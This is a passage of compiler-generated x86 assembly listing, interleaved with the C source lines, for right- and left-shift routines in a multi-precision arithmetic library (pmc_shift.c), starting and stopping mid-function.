; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; 576 : }
rep stosd
$LN19@LeftShift_:
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0
_LeftShift_Imp_DIV ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; COMDAT _RightShift_Imp
_TEXT SEGMENT
tv1058 = -28 ; size = 4
tv1059 = -24 ; size = 4
tv1057 = -24 ; size = 4
_n_word_count$1$ = -20 ; size = 4
_count$1$ = -16 ; size = 4
tv1064 = -16 ; size = 4
_op$1$ = -12 ; size = 4
_t_count$1$ = -8 ; size = 4
_n_lshift_bit_count$1$ = -4 ; size = 4
_pp$1$ = 8 ; size = 4
_p$ = 8 ; size = 4
_p_word_count$ = 12 ; size = 4
_n$ = 16 ; size = 4
_o$ = 20 ; size = 4
_padding_zero$ = 24 ; size = 4
_RightShift_Imp PROC ; COMDAT
; 39 : {
push ebp
mov ebp, esp
sub esp, 28 ; 0000001cH
; 40 : __UNIT_TYPE* pp = p;
; 41 : __UNIT_TYPE p_count = p_word_count;
; 42 : __UNIT_TYPE* op = o;
; 43 : // n_word_count ワード右に移動し、更に n_bit_count ビット右に移動する。
; 44 : __UNIT_TYPE n_word_count = n / __UNIT_TYPE_BIT_COUNT;
mov ecx, DWORD PTR _n$[ebp]
; 45 : __UNIT_TYPE n_rshift_bit_count = n % __UNIT_TYPE_BIT_COUNT;
mov eax, DWORD PTR _p$[ebp]
push ebx
mov ebx, DWORD PTR _o$[ebp]
push esi
mov esi, ecx
mov DWORD PTR _op$1$[ebp], ebx
shr esi, 5
and ecx, 31 ; 0000001fH
push edi
mov DWORD PTR _n_word_count$1$[ebp], esi
mov DWORD PTR _n$[ebp], ecx
lea edx, DWORD PTR [eax+esi*4]
mov eax, DWORD PTR _p_word_count$[ebp]
sub eax, esi
mov DWORD PTR _p_word_count$[ebp], eax
; 46 : if (n_rshift_bit_count == 0)
test ecx, ecx
jne SHORT $LN4@RightShift
; 50 : if (padding_zero)
cmp DWORD PTR _padding_zero$[ebp], 0
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 68 : __movsd((unsigned long *)d, (unsigned long *)s, (unsigned long)count);
mov edi, ebx
mov esi, edx
mov ecx, eax
rep movsd
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; 50 : if (padding_zero)
je $LN20@RightShift
; 170 : }
; 171 : }
mov ecx, DWORD PTR _n_word_count$1$[ebp]
lea edi, DWORD PTR [ebx+eax*4]
xor eax, eax
rep stosd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN4@RightShift:
; 51 : _ZERO_MEMORY_UNIT(op + p_count - n_word_count, n_word_count);
; 52 : }
; 53 : else
; 54 : {
; 55 : pp += n_word_count;
; 56 : __UNIT_TYPE n_lshift_bit_count = __UNIT_TYPE_BIT_COUNT - n_rshift_bit_count;
; 57 : // p_count - n_word_count 回繰り返し
; 58 :
; 59 : __UNIT_TYPE temp = *pp++;
mov eax, DWORD PTR [edx]
mov edi, 32 ; 00000020H
sub edi, ecx
add edx, 4
; 60 : __UNIT_TYPE work;
; 61 : __UNIT_TYPE t_count = p_count - n_word_count - 1;
mov ecx, DWORD PTR _p_word_count$[ebp]
dec ecx
mov DWORD PTR _n_lshift_bit_count$1$[ebp], edi
; 62 :
; 63 : __UNIT_TYPE count = t_count >> 5;
mov esi, ecx
mov DWORD PTR _t_count$1$[ebp], ecx
; 64 : while ( count > 0)
mov ecx, DWORD PTR _n$[ebp]
shr esi, 5
mov DWORD PTR _pp$1$[ebp], edx
mov DWORD PTR _count$1$[ebp], esi
test esi, esi
je SHORT $LN3@RightShift
npad 3
$LL2@RightShift:
; 65 : {
; 66 : work = temp >> n_rshift_bit_count; temp = pp[0]; work |= temp << n_lshift_bit_count; op[0] = work;
sub edx, ebx
mov edi, ebx
mov DWORD PTR tv1059[ebp], edx
mov ebx, 32 ; 00000020H
npad 4
$LL37@RightShift:
shr eax, cl
lea edi, DWORD PTR [edi+4]
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
mov esi, eax
mov eax, DWORD PTR [edx+edi-4]
mov edx, eax
shl edx, cl
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [edi-4], edx
mov edx, DWORD PTR tv1059[ebp]
sub ebx, 1
jne SHORT $LL37@RightShift
; 67 : work = temp >> n_rshift_bit_count; temp = pp[1]; work |= temp << n_lshift_bit_count; op[1] = work;
; 68 : work = temp >> n_rshift_bit_count; temp = pp[2]; work |= temp << n_lshift_bit_count; op[2] = work;
; 69 : work = temp >> n_rshift_bit_count; temp = pp[3]; work |= temp << n_lshift_bit_count; op[3] = work;
; 70 : work = temp >> n_rshift_bit_count; temp = pp[4]; work |= temp << n_lshift_bit_count; op[4] = work;
; 71 : work = temp >> n_rshift_bit_count; temp = pp[5]; work |= temp << n_lshift_bit_count; op[5] = work;
; 72 : work = temp >> n_rshift_bit_count; temp = pp[6]; work |= temp << n_lshift_bit_count; op[6] = work;
; 73 : work = temp >> n_rshift_bit_count; temp = pp[7]; work |= temp << n_lshift_bit_count; op[7] = work;
; 74 : work = temp >> n_rshift_bit_count; temp = pp[8]; work |= temp << n_lshift_bit_count; op[8] = work;
; 75 : work = temp >> n_rshift_bit_count; temp = pp[9]; work |= temp << n_lshift_bit_count; op[9] = work;
; 76 : work = temp >> n_rshift_bit_count; temp = pp[10]; work |= temp << n_lshift_bit_count; op[10] = work;
; 77 : work = temp >> n_rshift_bit_count; temp = pp[11]; work |= temp << n_lshift_bit_count; op[11] = work;
; 78 : work = temp >> n_rshift_bit_count; temp = pp[12]; work |= temp << n_lshift_bit_count; op[12] = work;
; 79 : work = temp >> n_rshift_bit_count; temp = pp[13]; work |= temp << n_lshift_bit_count; op[13] = work;
; 80 : work = temp >> n_rshift_bit_count; temp = pp[14]; work |= temp << n_lshift_bit_count; op[14] = work;
; 81 : work = temp >> n_rshift_bit_count; temp = pp[15]; work |= temp << n_lshift_bit_count; op[15] = work;
; 82 : work = temp >> n_rshift_bit_count; temp = pp[16]; work |= temp << n_lshift_bit_count; op[16] = work;
; 83 : work = temp >> n_rshift_bit_count; temp = pp[17]; work |= temp << n_lshift_bit_count; op[17] = work;
; 84 : work = temp >> n_rshift_bit_count; temp = pp[18]; work |= temp << n_lshift_bit_count; op[18] = work;
; 85 : work = temp >> n_rshift_bit_count; temp = pp[19]; work |= temp << n_lshift_bit_count; op[19] = work;
; 86 : work = temp >> n_rshift_bit_count; temp = pp[20]; work |= temp << n_lshift_bit_count; op[20] = work;
; 87 : work = temp >> n_rshift_bit_count; temp = pp[21]; work |= temp << n_lshift_bit_count; op[21] = work;
; 88 : work = temp >> n_rshift_bit_count; temp = pp[22]; work |= temp << n_lshift_bit_count; op[22] = work;
; 89 : work = temp >> n_rshift_bit_count; temp = pp[23]; work |= temp << n_lshift_bit_count; op[23] = work;
; 90 : work = temp >> n_rshift_bit_count; temp = pp[24]; work |= temp << n_lshift_bit_count; op[24] = work;
; 91 : work = temp >> n_rshift_bit_count; temp = pp[25]; work |= temp << n_lshift_bit_count; op[25] = work;
; 92 : work = temp >> n_rshift_bit_count; temp = pp[26]; work |= temp << n_lshift_bit_count; op[26] = work;
; 93 : work = temp >> n_rshift_bit_count; temp = pp[27]; work |= temp << n_lshift_bit_count; op[27] = work;
; 94 : work = temp >> n_rshift_bit_count; temp = pp[28]; work |= temp << n_lshift_bit_count; op[28] = work;
; 95 : work = temp >> n_rshift_bit_count; temp = pp[29]; work |= temp << n_lshift_bit_count; op[29] = work;
; 96 : work = temp >> n_rshift_bit_count; temp = pp[30]; work |= temp << n_lshift_bit_count; op[30] = work;
; 97 : work = temp >> n_rshift_bit_count; temp = pp[31]; work |= temp << n_lshift_bit_count; op[31] = work;
; 98 : --count;
mov esi, DWORD PTR _count$1$[ebp]
; 99 : pp += 32;
mov edx, DWORD PTR _pp$1$[ebp]
dec esi
; 100 : op += 32;
mov ebx, DWORD PTR _op$1$[ebp]
sub edx, -128 ; ffffff80H
sub ebx, -128 ; ffffff80H
mov DWORD PTR _count$1$[ebp], esi
mov DWORD PTR _pp$1$[ebp], edx
mov DWORD PTR _op$1$[ebp], ebx
test esi, esi
jne SHORT $LL2@RightShift
mov edi, DWORD PTR _n_lshift_bit_count$1$[ebp]
$LN3@RightShift:
; 101 : }
; 102 :
; 103 : if (t_count & 0x10)
test BYTE PTR _t_count$1$[ebp], 16 ; 00000010H
je SHORT $LN7@RightShift
; 104 : {
; 105 : work = temp >> n_rshift_bit_count; temp = pp[0]; work |= temp << n_lshift_bit_count; op[0] = work;
sub edx, ebx
mov DWORD PTR tv1057[ebp], ebx
mov DWORD PTR tv1058[ebp], edx
mov DWORD PTR tv1064[ebp], 16 ; 00000010H
$LL39@RightShift:
shr eax, cl
lea ebx, DWORD PTR [ebx+4]
mov esi, eax
mov ecx, edi
mov eax, DWORD PTR [ebx+edx-4]
mov edx, eax
shl edx, cl
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
sub DWORD PTR tv1064[ebp], 1
mov DWORD PTR [ebx-4], edx
mov edx, DWORD PTR tv1058[ebp]
jne SHORT $LL39@RightShift
; 106 : work = temp >> n_rshift_bit_count; temp = pp[1]; work |= temp << n_lshift_bit_count; op[1] = work;
; 107 : work = temp >> n_rshift_bit_count; temp = pp[2]; work |= temp << n_lshift_bit_count; op[2] = work;
; 108 : work = temp >> n_rshift_bit_count; temp = pp[3]; work |= temp << n_lshift_bit_count; op[3] = work;
; 109 : work = temp >> n_rshift_bit_count; temp = pp[4]; work |= temp << n_lshift_bit_count; op[4] = work;
; 110 : work = temp >> n_rshift_bit_count; temp = pp[5]; work |= temp << n_lshift_bit_count; op[5] = work;
; 111 : work = temp >> n_rshift_bit_count; temp = pp[6]; work |= temp << n_lshift_bit_count; op[6] = work;
; 112 : work = temp >> n_rshift_bit_count; temp = pp[7]; work |= temp << n_lshift_bit_count; op[7] = work;
; 113 : work = temp >> n_rshift_bit_count; temp = pp[8]; work |= temp << n_lshift_bit_count; op[8] = work;
; 114 : work = temp >> n_rshift_bit_count; temp = pp[9]; work |= temp << n_lshift_bit_count; op[9] = work;
; 115 : work = temp >> n_rshift_bit_count; temp = pp[10]; work |= temp << n_lshift_bit_count; op[10] = work;
; 116 : work = temp >> n_rshift_bit_count; temp = pp[11]; work |= temp << n_lshift_bit_count; op[11] = work;
; 117 : work = temp >> n_rshift_bit_count; temp = pp[12]; work |= temp << n_lshift_bit_count; op[12] = work;
; 118 : work = temp >> n_rshift_bit_count; temp = pp[13]; work |= temp << n_lshift_bit_count; op[13] = work;
; 119 : work = temp >> n_rshift_bit_count; temp = pp[14]; work |= temp << n_lshift_bit_count; op[14] = work;
; 120 : work = temp >> n_rshift_bit_count; temp = pp[15]; work |= temp << n_lshift_bit_count; op[15] = work;
; 121 : pp += 16;
mov edx, DWORD PTR _pp$1$[ebp]
; 122 : op += 16;
mov ebx, DWORD PTR _op$1$[ebp]
add edx, 64 ; 00000040H
mov DWORD PTR _pp$1$[ebp], edx
add ebx, 64 ; 00000040H
$LN7@RightShift:
; 123 : }
; 124 :
; 125 : if (t_count & 0x8)
mov ecx, DWORD PTR _t_count$1$[ebp]
mov edi, DWORD PTR _n$[ebp]
test cl, 8
je $LN8@RightShift
; 126 : {
; 127 : work = temp >> n_rshift_bit_count; temp = pp[0]; work |= temp << n_lshift_bit_count; op[0] = work;
mov esi, DWORD PTR [edx]
mov ecx, edi
shr eax, cl
mov edx, esi
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
shl edx, cl
mov ecx, edi
or edx, eax
shr esi, cl
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
mov DWORD PTR [ebx], edx
mov edx, DWORD PTR _pp$1$[ebp]
mov edx, DWORD PTR [edx+4]
mov eax, edx
shl eax, cl
mov ecx, edi
or eax, esi
shr edx, cl
mov DWORD PTR [ebx+4], eax
mov eax, DWORD PTR _pp$1$[ebp]
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
mov esi, DWORD PTR [eax+8]
mov eax, esi
shl eax, cl
mov ecx, edi
or eax, edx
shr esi, cl
mov DWORD PTR [ebx+8], eax
mov eax, DWORD PTR _pp$1$[ebp]
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
mov edx, DWORD PTR [eax+12]
mov eax, edx
shl eax, cl
mov ecx, edi
or eax, esi
shr edx, cl
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
mov DWORD PTR [ebx+12], eax
mov eax, DWORD PTR _pp$1$[ebp]
mov esi, DWORD PTR [eax+16]
mov eax, esi
shl eax, cl
mov ecx, edi
or eax, edx
shr esi, cl
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
mov DWORD PTR [ebx+16], eax
mov eax, DWORD PTR _pp$1$[ebp]
mov edx, DWORD PTR [eax+20]
mov eax, edx
shl eax, cl
mov ecx, edi
or eax, esi
shr edx, cl
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
mov DWORD PTR [ebx+20], eax
mov eax, DWORD PTR _pp$1$[ebp]
mov esi, DWORD PTR [eax+24]
mov eax, esi
shl eax, cl
mov ecx, edi
or eax, edx
shr esi, cl
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
mov DWORD PTR [ebx+24], eax
mov eax, DWORD PTR _pp$1$[ebp]
mov eax, DWORD PTR [eax+28]
mov edx, eax
shl edx, cl
mov ecx, DWORD PTR _t_count$1$[ebp]
or edx, esi
mov DWORD PTR [ebx+28], edx
; 128 : work = temp >> n_rshift_bit_count; temp = pp[1]; work |= temp << n_lshift_bit_count; op[1] = work;
; 129 : work = temp >> n_rshift_bit_count; temp = pp[2]; work |= temp << n_lshift_bit_count; op[2] = work;
; 130 : work = temp >> n_rshift_bit_count; temp = pp[3]; work |= temp << n_lshift_bit_count; op[3] = work;
; 131 : work = temp >> n_rshift_bit_count; temp = pp[4]; work |= temp << n_lshift_bit_count; op[4] = work;
; 132 : work = temp >> n_rshift_bit_count; temp = pp[5]; work |= temp << n_lshift_bit_count; op[5] = work;
; 133 : work = temp >> n_rshift_bit_count; temp = pp[6]; work |= temp << n_lshift_bit_count; op[6] = work;
; 134 : work = temp >> n_rshift_bit_count; temp = pp[7]; work |= temp << n_lshift_bit_count; op[7] = work;
; 135 : pp += 8;
mov edx, DWORD PTR _pp$1$[ebp]
add edx, 32 ; 00000020H
; 136 : op += 8;
add ebx, 32 ; 00000020H
mov DWORD PTR _pp$1$[ebp], edx
$LN8@RightShift:
; 137 : }
; 138 :
; 139 : if (t_count & 0x4)
test cl, 4
je SHORT $LN9@RightShift
; 140 : {
; 141 : work = temp >> n_rshift_bit_count; temp = pp[0]; work |= temp << n_lshift_bit_count; op[0] = work;
mov esi, DWORD PTR [edx]
mov ecx, edi
shr eax, cl
mov edx, esi
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
shl edx, cl
mov ecx, edi
or edx, eax
shr esi, cl
mov eax, DWORD PTR _pp$1$[ebp]
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
mov DWORD PTR [ebx], edx
mov edx, DWORD PTR [eax+4]
mov eax, edx
shl eax, cl
mov ecx, edi
or eax, esi
shr edx, cl
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
mov DWORD PTR [ebx+4], eax
mov eax, DWORD PTR _pp$1$[ebp]
mov esi, DWORD PTR [eax+8]
mov eax, esi
shl eax, cl
mov ecx, edi
or eax, edx
shr esi, cl
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
mov DWORD PTR [ebx+8], eax
mov eax, DWORD PTR _pp$1$[ebp]
mov eax, DWORD PTR [eax+12]
mov edx, eax
shl edx, cl
mov ecx, DWORD PTR _t_count$1$[ebp]
or edx, esi
mov DWORD PTR [ebx+12], edx
; 142 : work = temp >> n_rshift_bit_count; temp = pp[1]; work |= temp << n_lshift_bit_count; op[1] = work;
; 143 : work = temp >> n_rshift_bit_count; temp = pp[2]; work |= temp << n_lshift_bit_count; op[2] = work;
; 144 : work = temp >> n_rshift_bit_count; temp = pp[3]; work |= temp << n_lshift_bit_count; op[3] = work;
; 145 : pp += 4;
mov edx, DWORD PTR _pp$1$[ebp]
add edx, 16 ; 00000010H
; 146 : op += 4;
add ebx, 16 ; 00000010H
mov DWORD PTR _pp$1$[ebp], edx
$LN9@RightShift:
; 147 : }
; 148 :
; 149 : if (t_count & 0x2)
test cl, 2
je SHORT $LN10@RightShift
; 150 : {
; 151 : work = temp >> n_rshift_bit_count; temp = pp[0]; work |= temp << n_lshift_bit_count; op[0] = work;
mov esi, DWORD PTR [edx]
mov ecx, edi
shr eax, cl
mov edx, esi
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
shl edx, cl
; 152 : work = temp >> n_rshift_bit_count; temp = pp[1]; work |= temp << n_lshift_bit_count; op[1] = work;
mov ecx, edi
or edx, eax
shr esi, cl
mov eax, DWORD PTR _pp$1$[ebp]
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
mov DWORD PTR [ebx], edx
mov eax, DWORD PTR [eax+4]
mov edx, eax
shl edx, cl
mov ecx, DWORD PTR _t_count$1$[ebp]
or edx, esi
mov DWORD PTR [ebx+4], edx
; 153 : pp += 2;
mov edx, DWORD PTR _pp$1$[ebp]
add edx, 8
; 154 : op += 2;
add ebx, 8
$LN10@RightShift:
; 155 : }
; 156 :
; 157 : if (t_count & 0x1)
test cl, 1
je SHORT $LN11@RightShift
; 158 : {
; 159 : work = temp >> n_rshift_bit_count; temp = pp[0]; work |= temp << n_lshift_bit_count; op[0] = work;
mov ecx, edi
shr eax, cl
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
mov esi, eax
mov eax, DWORD PTR [edx]
mov edx, eax
shl edx, cl
or edx, esi
mov DWORD PTR [ebx], edx
; 160 : pp += 1;
; 161 : op += 1;
add ebx, 4
$LN11@RightShift:
; 162 : }
; 163 :
; 164 : work = temp >> n_rshift_bit_count;
mov ecx, edi
shr eax, cl
; 165 : if (work != 0 || padding_zero)
mov ecx, DWORD PTR _padding_zero$[ebp]
test eax, eax
jne SHORT $LN13@RightShift
test ecx, ecx
je SHORT $LN20@RightShift
$LN13@RightShift:
; 166 : *op = work;
mov DWORD PTR [ebx], eax
; 167 :
; 168 : if (padding_zero)
test ecx, ecx
je SHORT $LN20@RightShift
; 169 : _ZERO_MEMORY_UNIT(o + p_word_count - n_word_count, n_word_count);
mov eax, DWORD PTR _p_word_count$[ebp]
mov ecx, DWORD PTR _o$[ebp]
lea edi, DWORD PTR [ecx+eax*4]
; 170 : }
; 171 : }
mov ecx, DWORD PTR _n_word_count$1$[ebp]
xor eax, eax
rep stosd
$LN20@RightShift:
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
_RightShift_Imp ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; COMDAT _RightShift_Imp_DIV
_TEXT SEGMENT
tv1058 = -28 ; size = 4
tv1059 = -24 ; size = 4
tv1057 = -24 ; size = 4
_n_word_count$1$ = -20 ; size = 4
_count$1$ = -16 ; size = 4
tv1064 = -16 ; size = 4
_op$1$ = -12 ; size = 4
_t_count$1$ = -8 ; size = 4
_n_lshift_bit_count$1$ = -4 ; size = 4
_pp$1$ = 8 ; size = 4
_p$ = 8 ; size = 4
_p_word_count$ = 12 ; size = 4
_n$ = 16 ; size = 4
_o$ = 20 ; size = 4
_padding_zero$ = 24 ; size = 4
_RightShift_Imp_DIV PROC ; COMDAT
; 174 : {
push ebp
mov ebp, esp
sub esp, 28 ; 0000001cH
; 175 : __UNIT_TYPE_DIV* pp = p;
; 176 : __UNIT_TYPE p_count = p_word_count;
; 177 : __UNIT_TYPE_DIV* op = o;
; 178 : // n_word_count ワード右に移動し、更に n_bit_count ビット右に移動する。
; 179 : __UNIT_TYPE n_word_count = n / __UNIT_TYPE_BIT_COUNT;
mov ecx, DWORD PTR _n$[ebp]
; 180 : __UNIT_TYPE n_rshift_bit_count = n % __UNIT_TYPE_BIT_COUNT;
mov eax, DWORD PTR _p$[ebp]
push ebx
mov ebx, DWORD PTR _o$[ebp]
push esi
mov esi, ecx
mov DWORD PTR _op$1$[ebp], ebx
shr esi, 5
and ecx, 31 ; 0000001fH
push edi
mov DWORD PTR _n_word_count$1$[ebp], esi
mov DWORD PTR _n$[ebp], ecx
lea edx, DWORD PTR [eax+esi*4]
mov eax, DWORD PTR _p_word_count$[ebp]
sub eax, esi
mov DWORD PTR _p_word_count$[ebp], eax
; 181 : if (n_rshift_bit_count == 0)
test ecx, ecx
jne SHORT $LN4@RightShift
; 185 : if (padding_zero)
cmp DWORD PTR _padding_zero$[ebp], 0
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 79 : __movsd((unsigned long *)d, (unsigned long *)s, (unsigned long)count);
mov edi, ebx
mov esi, edx
mov ecx, eax
rep movsd
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_shift.c
; 185 : if (padding_zero)
je $LN20@RightShift
; 305 : }
; 306 : }
mov ecx, DWORD PTR _n_word_count$1$[ebp]
lea edi, DWORD PTR [ebx+eax*4]
xor eax, eax
rep stosd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN4@RightShift:
; 186 : _ZERO_MEMORY_UNIT_DIV(op + p_count - n_word_count, n_word_count);
; 187 : }
; 188 : else
; 189 : {
; 190 : pp += n_word_count;
; 191 : __UNIT_TYPE n_lshift_bit_count = __UNIT_TYPE_BIT_COUNT - n_rshift_bit_count;
; 192 : // p_count - n_word_count 回繰り返し
; 193 :
; 194 : __UNIT_TYPE_DIV temp = *pp++;
mov eax, DWORD PTR [edx]
mov edi, 32 ; 00000020H
sub edi, ecx
add edx, 4
; 195 : __UNIT_TYPE_DIV work;
; 196 : __UNIT_TYPE t_count = p_count - n_word_count - 1;
mov ecx, DWORD PTR _p_word_count$[ebp]
dec ecx
mov DWORD PTR _n_lshift_bit_count$1$[ebp], edi
; 197 :
; 198 : __UNIT_TYPE count = t_count >> 5;
mov esi, ecx
mov DWORD PTR _t_count$1$[ebp], ecx
; 199 : while (count > 0)
mov ecx, DWORD PTR _n$[ebp]
shr esi, 5
mov DWORD PTR _pp$1$[ebp], edx
mov DWORD PTR _count$1$[ebp], esi
test esi, esi
je SHORT $LN3@RightShift
npad 3
$LL2@RightShift:
; 200 : {
; 201 : work = temp >> n_rshift_bit_count; temp = pp[0]; work |= temp << n_lshift_bit_count; op[0] = work;
sub edx, ebx
mov edi, ebx
mov DWORD PTR tv1059[ebp], edx
mov ebx, 32 ; 00000020H
npad 4
$LL37@RightShift:
shr eax, cl
lea edi, DWORD PTR [edi+4]
mov ecx, DWORD PTR _n_lshift_bit_count$1$[ebp]
mov esi, eax
mov eax, DWORD PTR [edx+edi-4]
mov edx, eax
shl edx, cl
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
mov DWORD PTR [edi-4], edx
mov edx, DWORD PTR tv1059[ebp]
sub ebx, 1
jne SHORT $LL37@RightShift
; 202 : work = temp >> n_rshift_bit_count; temp = pp[1]; work |= temp << n_lshift_bit_count; op[1] = work;
; 203 : work = temp >> n_rshift_bit_count; temp = pp[2]; work |= temp << n_lshift_bit_count; op[2] = work;
; 204 : work = temp >> n_rshift_bit_count; temp = pp[3]; work |= temp << n_lshift_bit_count; op[3] = work;
; 205 : work = temp >> n_rshift_bit_count; temp = pp[4]; work |= temp << n_lshift_bit_count; op[4] = work;
; 206 : work = temp >> n_rshift_bit_count; temp = pp[5]; work |= temp << n_lshift_bit_count; op[5] = work;
; 207 : work = temp >> n_rshift_bit_count; temp = pp[6]; work |= temp << n_lshift_bit_count; op[6] = work;
; 208 : work = temp >> n_rshift_bit_count; temp = pp[7]; work |= temp << n_lshift_bit_count; op[7] = work;
; 209 : work = temp >> n_rshift_bit_count; temp = pp[8]; work |= temp << n_lshift_bit_count; op[8] = work;
; 210 : work = temp >> n_rshift_bit_count; temp = pp[9]; work |= temp << n_lshift_bit_count; op[9] = work;
; 211 : work = temp >> n_rshift_bit_count; temp = pp[10]; work |= temp << n_lshift_bit_count; op[10] = work;
; 212 : work = temp >> n_rshift_bit_count; temp = pp[11]; work |= temp << n_lshift_bit_count; op[11] = work;
; 213 : work = temp >> n_rshift_bit_count; temp = pp[12]; work |= temp << n_lshift_bit_count; op[12] = work;
; 214 : work = temp >> n_rshift_bit_count; temp = pp[13]; work |= temp << n_lshift_bit_count; op[13] = work;
; 215 : work = temp >> n_rshift_bit_count; temp = pp[14]; work |= temp << n_lshift_bit_count; op[14] = work;
; 216 : work = temp >> n_rshift_bit_count; temp = pp[15]; work |= temp << n_lshift_bit_count; op[15] = work;
; 217 : work = temp >> n_rshift_bit_count; temp = pp[16]; work |= temp << n_lshift_bit_count; op[16] = work;
; 218 : work = temp >> n_rshift_bit_count; temp = pp[17]; work |= temp << n_lshift_bit_count; op[17] = work;
; 219 : work = temp >> n_rshift_bit_count; temp = pp[18]; work |= temp << n_lshift_bit_count; op[18] = work;
; 220 : work = temp >> n_rshift_bit_count; temp = pp[19]; work |= temp << n_lshift_bit_count; op[19] = work;
; 221 : work = temp >> n_rshift_bit_count; temp = pp[20]; work |= temp << n_lshift_bit_count; op[20] = work;
; 222 : work = temp >> n_rshift_bit_count; temp = pp[21]; work |= temp << n_lshift_bit_count; op[21] = work;
; 223 : work = temp >> n_rshift_bit_count; temp = pp[22]; work |= temp << n_lshift_bit_count; op[22] = work;
; 224 : work = temp >> n_rshift_bit_count; temp = pp[23]; work |= temp << n_lshift_bit_count; op[23] = work;
; 225 : work = temp >> n_rshift_bit_count; temp = pp[24]; work |= temp << n_lshift_bit_count; op[24] = work;
; 226 : work = temp >> n_rshift_bit_count; temp = pp[25]; work |= temp << n_lshift_bit_count; op[25] = work;
; 227 : work = temp >> n_rshift_bit_count; temp = pp[26]; work |= temp << n_lshift_bit_count; op[26] = work;
; 228 : work = temp >> n_rshift_bit_count; temp = pp[27]; work |= temp << n_lshift_bit_count; op[27] = work;
; 229 : work = temp >> n_rshift_bit_count; temp = pp[28]; work |= temp << n_lshift_bit_count; op[28] = work;
; 230 : work = temp >> n_rshift_bit_count; temp = pp[29]; work |= temp << n_lshift_bit_count; op[29] = work;
; 231 : work = temp >> n_rshift_bit_count; temp = pp[30]; work |= temp << n_lshift_bit_count; op[30] = work;
; 232 : work = temp >> n_rshift_bit_count; temp = pp[31]; work |= temp << n_lshift_bit_count; op[31] = work;
; 233 : --count;
mov esi, DWORD PTR _count$1$[ebp]
; 234 : pp += 32;
mov edx, DWORD PTR _pp$1$[ebp]
dec esi
; 235 : op += 32;
mov ebx, DWORD PTR _op$1$[ebp]
sub edx, -128 ; ffffff80H
sub ebx, -128 ; ffffff80H
mov DWORD PTR _count$1$[ebp], esi
mov DWORD PTR _pp$1$[ebp], edx
mov DWORD PTR _op$1$[ebp], ebx
test esi, esi
jne SHORT $LL2@RightShift
mov edi, DWORD PTR _n_lshift_bit_count$1$[ebp]
$LN3@RightShift:
; 236 : }
; 237 :
; 238 : if (t_count & 0x10)
test BYTE PTR _t_count$1$[ebp], 16 ; 00000010H
je SHORT $LN7@RightShift
; 239 : {
; 240 : work = temp >> n_rshift_bit_count; temp = pp[0]; work |= temp << n_lshift_bit_count; op[0] = work;
sub edx, ebx
mov DWORD PTR tv1057[ebp], ebx
mov DWORD PTR tv1058[ebp], edx
mov DWORD PTR tv1064[ebp], 16 ; 00000010H
$LL39@RightShift:
shr eax, cl
lea ebx, DWORD PTR [ebx+4]
mov esi, eax
mov ecx, edi
mov eax, DWORD PTR [ebx+edx-4]
mov edx, eax
shl edx, cl
mov ecx, DWORD PTR _n$[ebp]
or edx, esi
sub DWORD PTR tv1064[ebp], 1
mov DWORD PTR [ebx-4], edx
mov edx, DWORD PTR tv1058[ebp]
jne SHORT $LL39@RightShift
; 241 : work = temp >> n_rshift_bit_count; temp = pp[1]; work |= temp << n_lshift_bit_count; op[1] = work;
; 242 : work = temp >> n_rshift_bit_count; temp = pp[2]; work |= temp << n_lshift_bit_count; op[2] = work;
; 243 : work = temp >> n_rshift_bit_count; temp = pp[3]; work |= temp << n_lshift_bit_count; op[3] = work;
; 244 : work = temp >> n_rshift_bit_count; temp = pp[4]; work |= temp << n_lshift_bit_count; op[4] = work;
; 245 : work = temp >> n_rshift_bit_count; temp = pp[5]; work |= temp << n_lshift_bit_count; op[5] = work;
; 246 : work = temp >> n_rshift_bit_count; temp = pp[6]; work |= temp << n_lshift_bit_count; op[6] = work;
; 247 : work = temp >> n_rshift_bit_count; temp = pp[7]; work |= temp << n_lshift_bit_count; op[7] = work;
; 248 : work = temp >> n_rshift_bit_count; temp = pp[8]; work |= temp << n_lshift_bit_count; op[8] = work;
